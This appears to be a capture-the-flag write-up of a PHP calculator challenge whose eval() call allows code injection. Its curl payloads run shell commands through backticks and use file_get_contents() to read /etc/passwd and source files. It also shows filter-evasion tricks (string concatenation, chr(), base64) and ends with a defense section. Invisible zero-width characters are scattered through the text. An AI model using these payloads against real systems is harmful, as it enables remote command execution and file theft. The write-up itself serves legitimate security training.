Калькулятор (Calculator Eval)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: PHP eval() injection, Source code disclosure for flag extraction, WAF bypass via backticks and file_get_contents

Summary

Task: PHP calculator with eval() and WAF protection. Solution: Bypassed WAF using backticks for RCE and file_get_contents() to read source code containing the flag.

Калькулятор (Calculator Eval) — hackerlab.pro

Description

Флаг лежит внутри, попробуйте найти его

URL: http://62.173.140.174:16016/

Analysis

1. Reconnaissance

Found a PHP calculator with WAF protection. When sending a POST request with the action parameter, it executes:

 php read-only • copy allowed Copy
eval('return '.$def_out.';')

2. WAF Analysis

WAF blocks:

• Command execution functions: system, exec, passthru, shell_exec, popen, proc_open, pcntl_exec
• Words: script, alert
• Characters: {, }, > ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

WAF does NOT block:

• Backticks `command` for command execution
• file_get_contents() for reading files

3. Testing Calculator Functionality

 bash read-only • copy allowed Copy
curl -s -X POST "http://62.173.140.174:16016/" -d "action=7*7"
# Response: 49

The calculator works via eval() — a classic entry point for code injection.

Solution

Step 1: Testing RCE via Backticks

 bash read-only • copy allowed Copy
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`id`'

Result:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Backticks work! WAF doesn't filter them.

Step 2: Testing file_get_contents

 bash read-only • copy allowed Copy
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('/etc/passwd')"

Result — contents of /etc/passwd. The function is not blocked.

Step 3: Reading Source Code

 bash read-only • copy allowed Copy
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('index.php')"

Step 4: Extracting the Flag

At the end of index.php, a comment with the flag was found:

 php read-only • copy allowed Copy
// CODEBY{REDACTED}

Alternative Methods

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Via Backticks (RCE)

 bash read-only • copy allowed Copy
# Directory listing
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`ls -la`'

# Finding the flag
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`find / -name "*flag*" 2>/dev/null`'

# Reading a file
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`cat index.php`'

Via file_get_contents

 bash read-only • copy allowed Copy
# Reading configs
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('/etc/passwd')"

# Reading source code
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('index.php')"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

WAF Bypass Techniques

Alternatives to Blocked Functions

String Filter Bypass

 php read-only • copy allowed Copy
// Concatenation
'sys'.'tem'('id')

// Variables
$f='system'; $f('id');

// chr() encoding
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)  // = "system"

// Base64
base64_decode('c3lzdGVt')  // = "system"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

 php read-only • copy allowed Copy
// Never use eval() with user input
// If a calculator is needed — use a safe parser

// Example of a safe calculator
function safe_calc($expr) {
    // Allow only digits and operators
    if (!preg_match('/^[0-9+\-*\/\.\(\)\s]+$/', $expr)) {
        return "Invalid expression";
    }
    
    // Use a math library instead of eval
    return calculate_expression($expr);
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍